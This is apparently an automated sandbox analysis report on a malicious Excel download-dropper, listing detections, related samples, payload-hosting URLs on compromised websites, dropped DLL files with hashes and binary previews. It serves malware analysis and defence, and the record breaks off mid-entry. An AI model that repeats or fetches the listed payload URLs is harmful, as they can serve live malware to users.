Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@17/18@4/5
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 57.8% (good quality ratio 31.8%) Quality average: 33.7% Quality standard deviation: 37.7%
HCA Information:	Successful, ratio: 95% Number of executed functions: 38 Number of non-executed functions: 250
Cookbook Comments:	Found application associated with file extension: .xls Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 173.222.108.226, 173.222.108.210
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, download.windowsupdate.com.edgesuite.net
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:50:23	API Interceptor	3775x Sleep call for process: regsvr32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
85.114.142.153	DETAILS 25922194612.xls	Get hash	malicious	Browse	kolejleri.com/wp-admin/REvup/
	documento_2005.xls	Get hash	malicious	Browse	kolejleri.com/wp-admin/REvup/
	Lkd_2005.xls	Get hash	malicious	Browse	kolejleri.com/wp-admin/REvup/
	SCAN_89357809.xls	Get hash	malicious	Browse	kolejleri.com/wp-admin/REvup/
103.171.181.223	DETAILS 25922194612.xls	Get hash	malicious	Browse	learnviaonline.com/wp-admin/qGb/
	documento_2005.xls	Get hash	malicious	Browse	learnviaonline.com/wp-admin/qGb/
	Lkd_2005.xls	Get hash	malicious	Browse	learnviaonline.com/wp-admin/qGb/
	SCAN_89357809.xls	Get hash	malicious	Browse	learnviaonline.com/wp-admin/qGb/
	QON7521489768 invoice.zip_br_ Password_ 747jm87hy_br_.lnk	Get hash	malicious	Browse	learnviaonline.com/wp-admin/f1tisSTS/
	ACH Payment Advice.zip_br_ Password_ 4434OTTNU_br_.lnk	Get hash	malicious	Browse	learnviaonline.com/wp-admin/f1tisSTS/
	Invoice # 96995631 X#9932993 05829.zip_br_ Password_ vh98bsv4_br_.lnk	Get hash	malicious	Browse	learnviaonline.com/wp-admin/f1tisSTS/
	QON7521489768 invoice.zip_br_ Password_ 747jm87hy_br_.lnk	Get hash	malicious	Browse	learnviaonline.com/wp-admin/f1tisSTS/
107.189.3.39	DETAILS 25922194612.xls	Get hash	malicious	Browse	milanstaffing.com/images/D4TRnDubF/
	documento_2005.xls	Get hash	malicious	Browse	milanstaffing.com/images/D4TRnDubF/
	Lkd_2005.xls	Get hash	malicious	Browse	milanstaffing.com/images/D4TRnDubF/
	SCAN_89357809.xls	Get hash	malicious	Browse	milanstaffing.com/images/D4TRnDubF/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
milanstaffing.com	DETAILS 25922194612.xls	Get hash	malicious	Browse	107.189.3.39
	documento_2005.xls	Get hash	malicious	Browse	107.189.3.39
	Lkd_2005.xls	Get hash	malicious	Browse	107.189.3.39
	SCAN_89357809.xls	Get hash	malicious	Browse	107.189.3.39
stainedglassexpress.com	DETAILS 25922194612.xls	Get hash	malicious	Browse	66.71.247.68
	documento_2005.xls	Get hash	malicious	Browse	66.71.247.68
	Lkd_2005.xls	Get hash	malicious	Browse	66.71.247.68
	SCAN_89357809.xls	Get hash	malicious	Browse	66.71.247.68
kolejleri.com	DETAILS 25922194612.xls	Get hash	malicious	Browse	85.114.142.153
	documento_2005.xls	Get hash	malicious	Browse	85.114.142.153
	Lkd_2005.xls	Get hash	malicious	Browse	85.114.142.153
	SCAN_89357809.xls	Get hash	malicious	Browse	85.114.142.153
learnviaonline.com	DETAILS 25922194612.xls	Get hash	malicious	Browse	103.171.181.223
	documento_2005.xls	Get hash	malicious	Browse	103.171.181.223
	Lkd_2005.xls	Get hash	malicious	Browse	103.171.181.223
	SCAN_89357809.xls	Get hash	malicious	Browse	103.171.181.223
	QON7521489768 invoice.zip_br_ Password_ 747jm87hy_br_.lnk	Get hash	malicious	Browse	103.171.181.223
	ACH Payment Advice.zip_br_ Password_ 4434OTTNU_br_.lnk	Get hash	malicious	Browse	103.171.181.223
	Invoice # 96995631 X#9932993 05829.zip_br_ Password_ vh98bsv4_br_.lnk	Get hash	malicious	Browse	103.171.181.223
	QON7521489768 invoice.zip_br_ Password_ 747jm87hy_br_.lnk	Get hash	malicious	Browse	103.171.181.223

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MYLOC-ASIPBackboneofmyLocmanagedITAGDE	DETAILS 25922194612.xls	Get hash	malicious	Browse	85.114.142.153
	documento_2005.xls	Get hash	malicious	Browse	85.114.142.153
	Lkd_2005.xls	Get hash	malicious	Browse	85.114.142.153
	SCAN_89357809.xls	Get hash	malicious	Browse	85.114.142.153
	http://thesportsgrail.com	Get hash	malicious	Browse	85.114.159.93
	Advice FTT5378393.exe	Get hash	malicious	Browse	93.186.201.208
	z4ehq74vWO	Get hash	malicious	Browse	85.114.198.102
	ST10501909262401.exe	Get hash	malicious	Browse	93.186.201.208
	https://bullant-security.w3spaces.com/	Get hash	malicious	Browse	85.114.159.118
	whvMLs1u4x	Get hash	malicious	Browse	89.163.194.115
	Cancellation-507660980$-May5.xlsb	Get hash	malicious	Browse	5.199.136.61
	Cancellation-507660980$-May5.xlsb	Get hash	malicious	Browse	5.199.136.61
	https://sidebar.io/out?url=https%3A%2F%2Fwww.creativebloq.com%2Fnews%2Fworst-logos-2022%3Fref%3Dsidebar	Get hash	malicious	Browse	85.114.159.118
	https://ma-ilpanel.gamemodx.cf/auth.php?add=keith@steinborn.com	Get hash	malicious	Browse	85.114.159.93
	oo9A7GRneR	Get hash	malicious	Browse	83.136.82.32
	http://quick-adviser.com/how-do-i-stop-negative-values-in-java/	Get hash	malicious	Browse	80.82.217.90
	https://rainbownnutbolt47-65.w3spaces.com/RAINBOW_NUT_AND_BOLT_april_13_2022.pdf?bypass-cache=68928506	Get hash	malicious	Browse	85.114.159.93
	805YbfoCnN.xls	Get hash	malicious	Browse	89.163.146.219
	rRoIuoRpEQ	Get hash	malicious	Browse	46.228.205.63
	https://topcookingstories.com/library/lecture/read/40097-what-legendary-pets-can-you-get-out-of-a-cracked-egg#0	Get hash	malicious	Browse	85.114.159.93
AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	DETAILS 25922194612.xls	Get hash	malicious	Browse	103.171.181.223
	jew.arm7	Get hash	malicious	Browse	103.162.253.58
	x86	Get hash	malicious	Browse	139.230.225.83
	B2CP7Anrdz	Get hash	malicious	Browse	144.205.100.51
	EhCzyqLrUk	Get hash	malicious	Browse	103.189.218.58
	meerkat.arm7-20220522-2050	Get hash	malicious	Browse	139.230.83.233
	KSA_67537835353.xlsx	Get hash	malicious	Browse	103.167.92.57
	hiZKhinsQy	Get hash	malicious	Browse	103.161.25.109
	Cff7khwHQF	Get hash	malicious	Browse	103.165.24.252
	x8lFIk8wYK	Get hash	malicious	Browse	103.180.7.199
	Un93F0RX3z	Get hash	malicious	Browse	103.64.107.175
	F4Bl65ZbQf	Get hash	malicious	Browse	103.182.254.153
	o9flt31Dtm	Get hash	malicious	Browse	139.230.225.98
	sora.arm	Get hash	malicious	Browse	103.179.236.167
	DQR5IGyfau	Get hash	malicious	Browse	103.33.61.96
	phantom.arm	Get hash	malicious	Browse	103.171.158.160
	wiDR0DkFXy	Get hash	malicious	Browse	138.7.88.121
	2205117369.xlsx	Get hash	malicious	Browse	103.176.113.85
	Ponuda garik doo.xlsx	Get hash	malicious	Browse	103.167.92.57
	winlogon.exe	Get hash	malicious	Browse	103.176.113.85

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	DETAILS 25922194612.xls	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	DETAILS 25922194612.xls	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	DETAILS 25922194612.xls	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 61480 bytes, 1 file
Category:	dropped
Size (bytes):	61480
Entropy (8bit):	7.9951219482618905
Encrypted:	true
SSDEEP:	1536:kmu7iDG/SCACih0/8uIGantJdjFpTE8lTeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN
MD5:	B9F21D8DB36E88831E5352BB82C438B3
SHA1:	4A3C330954F9F65A2F5FD7E55800E46CE228A3E2
SHA-256:	998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E
SHA-512:	D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BE5F39346D8B564FC72FB1699476
Malicious:	false
Reputation:	high, very likely benign file
Preview:	MSCF....(.......,...................I........y.........Tbr .authroot.stl..$..4..CK..<Tk...c_.d....A.K.....Y.f....!.))$7I.....e..eKT..k....n.3.......S..9.s.....3H.Mh......qV.=M6.=.4.F.....V:F..]......B`....Q...c"U.0.n....J.....4.....i7s..:.27....._...+).lE..he.4\|.?,...h....7..PA..b.,. .....#1+..o...g.....2n1m...=.......Dp.;..f..ljX.Dx..r<'.1RI3B0<w.D.z..)D\|..8<..c+..'XH..K,.Y..d.j.<.A.......l_lVb[w..rDp...'.....nL....!G.F....f.fX..r.. ?.....v(...L..<.\.Z..g;.>.0v...P ......\|...A..(..x...T0.`g...c..7.U?...9.p..a..&..9......sV..l0..D..fhi..h.F....q...y.....Mq].4..Z.....={L....AS..9.....:.:.........+..P.N....EAQ.V. sr.....y.B.`.Efe..8../....$...y-.q.J.......nP...2.Q8...O........M.@\.>=X....V..z.4.=.@...ws.N.M3.S.c?.....C4]?..\.K.9......^...CU......O....X.`........._.gU.....V.{V6..m..D.-\|.Q.t.7.....9.~....[...I.<e...~$..>......s.I.S....~1..IV.2Ri:..]R!8...q...l.X.%.)@......2.gb,t...}..;...@.Z..<q..y..:...e3..cY.we.$....z..\| .#.......I...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.126909434994818
Encrypted:	false
SSDEEP:	6:kKFOd/qoJN+SkQlPlEGYRMY9z+4KlDA3RUesJ21:4WkPlE99SNxAhUesE1
MD5:	6F6E56068B5F93A7328A3E3A7C1DF737
SHA1:	1057DF246C738374E3C5B86A77F13E800239CCB3
SHA-256:	F1A45EB0EFF076D3390202214578B9536CA72FD2FDBD8AAC1D667A7F74FCE1A8
SHA-512:	61571956F80935CAA866D3ACE0C7079A4E4DA1AA784B49108B97A32778A88CE666F6FC2E79DCC6F989D50A0BB9C122235CA2BC3A93D7E2C1CEB700452BEFBA11
Malicious:	false
Preview:	p...... .........M..n..(....................................................... ........3k/"[......(...........(...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".8.0.3.3.6.b.2.f.2.2.5.b.d.8.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	371200
Entropy (8bit):	7.1527203772082135
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7YxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7Qy/BJ7rGTK/V3
MD5:	828A9B1007DC45671D8A58E240C7C973
SHA1:	8214993BB314D0F4C1889E507F88BEEB3F6E5B63
SHA-256:	B59F16EE5E524814316A8BE8EF54EA02F9A496267555E65EEB585E4ADE85FFEC
SHA-512:	7519B39DD811C3578E0002D5C4F35B2A6855092978004ECB2CA0030C1550AA3D38B346F83C43EB286AB9E1BF6209050078286DDB8BFEA5F1D5DC3EFCAAFEEEEF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
Joe Sandbox View:	Filename: DETAILS 25922194612.xls, Detection: malicious, Browse
IE Cache URL:	http://stainedglassexpress.com/classes/05SkiiW9y4DDGvb6/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	371200
Entropy (8bit):	7.152718217466625
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7LxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7xy/BJ7rGTK/V3
MD5:	646CA94D40F268C87215FFEA9FD0E826
SHA1:	22E67EB4D6E4B5F09E3DE5A6021462ADCF99FE75
SHA-256:	52769F52F479F16D61C449D307C7FD1FA23FAA0B5589500E0967CD7955CA93D6
SHA-512:	5AE522EB99551146F84F9AA94F270083CEDC1BB8DF26697E15D57FCF7AF126766F8F18ED4FFAC06DF46D88E07C08A8523CD8A4187AF3DD8173BAF35272DE794B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 61%
Joe Sandbox View:	Filename: DETAILS 25922194612.xls, Detection: malicious, Browse
IE Cache URL:	http://milanstaffing.com/images/D4TRnDubF/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	371200
Entropy (8bit):	7.152704988682108
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7DxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7Zy/BJ7rGTK/V3
MD5:	5A9E3E501F04B27A38BCA881A68A1785
SHA1:	9573AB24845B8FA1408F0381E64A40A5CC2A879E
SHA-256:	306C6E39327DAD93262B4531BA5B95B35F4541C70B0D4A6FE5F1DC8C96C86D8C
SHA-512:	FB6BABA1B27D7019DA35D2CF854A111DEE6574196CC9E2022956ABDB3717B5C2321DC8811533205B3AA87A047AC6D927252688AAFAA802AFB989E38568C1EC58
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
Joe Sandbox View:	Filename: DETAILS 25922194612.xls, Detection: malicious, Browse
IE Cache URL:	http://kolejleri.com/wp-admin/REvup/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	371200
Entropy (8bit):	7.1527177644825635
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7fxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7ly/BJ7rGTK/V3
MD5:	C9FD6F4A594719F21F310D8D0A2E55BB
SHA1:	D999195E150304EF6FA4AE5362FDB70D0457429B
SHA-256:	E654F14F3A98027669FD428597A2B4967B5276BDB94DA7770189E791FD98FC50
SHA-512:	BC7F62214F70076027355858367004A019FBE18EE9404AC58ECC550C9EF5F2B3DB6A01E2B60A33E55B5FE323D52CD1BA0C455AA2C99E058140F9ABD5AF5B8E8E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
IE Cache URL:	http://learnviaonline.com/wp-admin/qGb/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CabE354.tmp

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 61480 bytes, 1 file
Category:	dropped
Size (bytes):	61480
Entropy (8bit):	7.9951219482618905
Encrypted:	true
SSDEEP:	1536:kmu7iDG/SCACih0/8uIGantJdjFpTE8lTeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN
MD5:	B9F21D8DB36E88831E5352BB82C438B3
SHA1:	4A3C330954F9F65A2F5FD7E55800E46CE228A3E2
SHA-256:	998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E
SHA-512:	D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BE5F39346D8B564FC72FB1699476
Malicious:	false
Preview:	MSCF....(.......,...................I........y.........Tbr .authroot.stl..$..4..CK..<Tk...c_.d....A.K.....Y.f....!.))$7I.....e..eKT..k....n.3.......S..9.s.....3H.Mh......qV.=M6.=.4.F.....V:F..]......B`....Q...c"U.0.n....J.....4.....i7s..:.27....._...+).lE..he.4\|.?,...h....7..PA..b.,. .....#1+..o...g.....2n1m...=.......Dp.;..f..ljX.Dx..r<'.1RI3B0<w.D.z..)D\|..8<..c+..'XH..K,.Y..d.j.<.A.......l_lVb[w..rDp...'.....nL....!G.F....f.fX..r.. ?.....v(...L..<.\.Z..g;.>.0v...P ......\|...A..(..x...T0.`g...c..7.U?...9.p..a..&..9......sV..l0..D..fhi..h.F....q...y.....Mq].4..Z.....={L....AS..9.....:.:.........+..P.N....EAQ.V. sr.....y.B.`.Efe..8../....$...y-.q.J.......nP...2.Q8...O........M.@\.>=X....V..z.4.=.@...ws.N.M3.S.c?.....C4]?..\.K.9......^...CU......O....X.`........._.gU.....V.{V6..m..D.-\|.Q.t.7.....9.~....[...I.<e...~$..>......s.I.S....~1..IV.2Ri:..]R!8...q...l.X.%.)@......2.gb,t...}..;...@.Z..<q..y..:...e3..cY.we.$....z..\| .#.......I...

C:\Users\user\AppData\Local\Temp\TarE355.tmp

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	modified
Size (bytes):	162196
Entropy (8bit):	6.301436092020807
Encrypted:	false
SSDEEP:	1536:Nga6crtilgCyNY2Ip/5ib6NWdm1wpzru2RPZz04D8rlCMiB3XlMc:Na0imCy/dm0zru2RN97MiVGc
MD5:	E721613517543768F0DE47A6EEEE3475
SHA1:	3FFC13E3157CF6EB9E9CCAB57B9058209AF41D69
SHA-256:	3163B82D1289693122EF99ED6C3C1911F68AA2A7296907CEBF84C897141CED4E
SHA-512:	E097CAB58C5E390FDC2DB03A59329A548A60069804487828B70519A403622260E57F10B09D9DDAEEB3C31491FE32221FB67965C490771A3D42E45EBB8BE26587
Malicious:	false
Preview:	0..y....H.........y.0..yz...1.0...`.H.e......0..i...+.....7.....i.0..i.0...+.....7........SiU[v...220418211447Z0...+......0..i.0..D.....`...@.,..0..0.r1..0...+.....7..h1......+h...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o

C:\Users\user\AppData\Local\Temp\~DF510C5EA216433379.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	3.440608621024532
Encrypted:	false
SSDEEP:	768:cDRKpb8rGYrMPe3q7Q0XV5xtezE8vpI8UM+V0qs9s1X8:cVKpb8rGYrMPe3q7Q0XV5xtezE8vG8UU
MD5:	A406AA1773C3292E4769B91791FEA502
SHA1:	42B4155CFEAC777DD81ED4D6847BD29DF7D63810
SHA-256:	1035D746F889351ED4258FBFC62EEDD75409A3CF4DEC52D81CE1C162CB5210DC
SHA-512:	CCFC0521C6B9D6C67911139131AF133D7C7047CE3485526E7898B598ABB370587EA7DB8D006BE52274E92A744C5D812110FB4AD141D07C2B5966820AE3B83AA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\Datei_26744565.xls

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Fri May 20 07:48:11 2022, Security: 0
Category:	dropped
Size (bytes):	69120
Entropy (8bit):	6.427895409240265
Encrypted:	false
SSDEEP:	1536:aVKpb8rGYrMPe3q7Q0XV5xtezE8vG8UM+y9s1a6YG2jzQ0viPvDNHh9ef:4Kpb8rGYrMPe3q7Q0XV5xtezE8vG8UMN
MD5:	2E3EE528F4AC7B711AC8208B6BDDFB93
SHA1:	2D4869AFC48027FF0AFF0D54F05EAFBC9E1EABB9
SHA-256:	2D7C2C28D4EABF382B240C500160D93B5DCFA8CC052F78EDAA6BFDBD45B827E7
SHA-512:	9D69B21D38F93F2203DCB9E2196F80EA87CC62D12BD8C3B9A66F80A3E221C8B146EA4F66E75B8A30E75FFCF1EADBF283A487EA2F0F43D156ADC4FD9C7E20C65C
Malicious:	true
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................ZO..........................\.p....userTH B.....a.........=.................................................=........Ve18.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......

C:\Users\user\uxevr1.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.1527177644825635
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7fxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7ly/BJ7rGTK/V3
MD5:	C9FD6F4A594719F21F310D8D0A2E55BB
SHA1:	D999195E150304EF6FA4AE5362FDB70D0457429B
SHA-256:	E654F14F3A98027669FD428597A2B4967B5276BDB94DA7770189E791FD98FC50
SHA-512:	BC7F62214F70076027355858367004A019FBE18EE9404AC58ECC550C9EF5F2B3DB6A01E2B60A33E55B5FE323D52CD1BA0C455AA2C99E058140F9ABD5AF5B8E8E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\uxevr2.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.152704988682108
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7DxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7Zy/BJ7rGTK/V3
MD5:	5A9E3E501F04B27A38BCA881A68A1785
SHA1:	9573AB24845B8FA1408F0381E64A40A5CC2A879E
SHA-256:	306C6E39327DAD93262B4531BA5B95B35F4541C70B0D4A6FE5F1DC8C96C86D8C
SHA-512:	FB6BABA1B27D7019DA35D2CF854A111DEE6574196CC9E2022956ABDB3717B5C2321DC8811533205B3AA87A047AC6D927252688AAFAA802AFB989E38568C1EC58
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\uxevr3.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.1527203772082135
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7YxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7Qy/BJ7rGTK/V3
MD5:	828A9B1007DC45671D8A58E240C7C973
SHA1:	8214993BB314D0F4C1889E507F88BEEB3F6E5B63
SHA-256:	B59F16EE5E524814316A8BE8EF54EA02F9A496267555E65EEB585E4ADE85FFEC
SHA-512:	7519B39DD811C3578E0002D5C4F35B2A6855092978004ECB2CA0030C1550AA3D38B346F83C43EB286AB9E1BF6209050078286DDB8BFEA5F1D5DC3EFCAAFEEEEF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 59%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\uxevr4.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.152718217466625
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7LxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7xy/BJ7rGTK/V3
MD5:	646CA94D40F268C87215FFEA9FD0E826
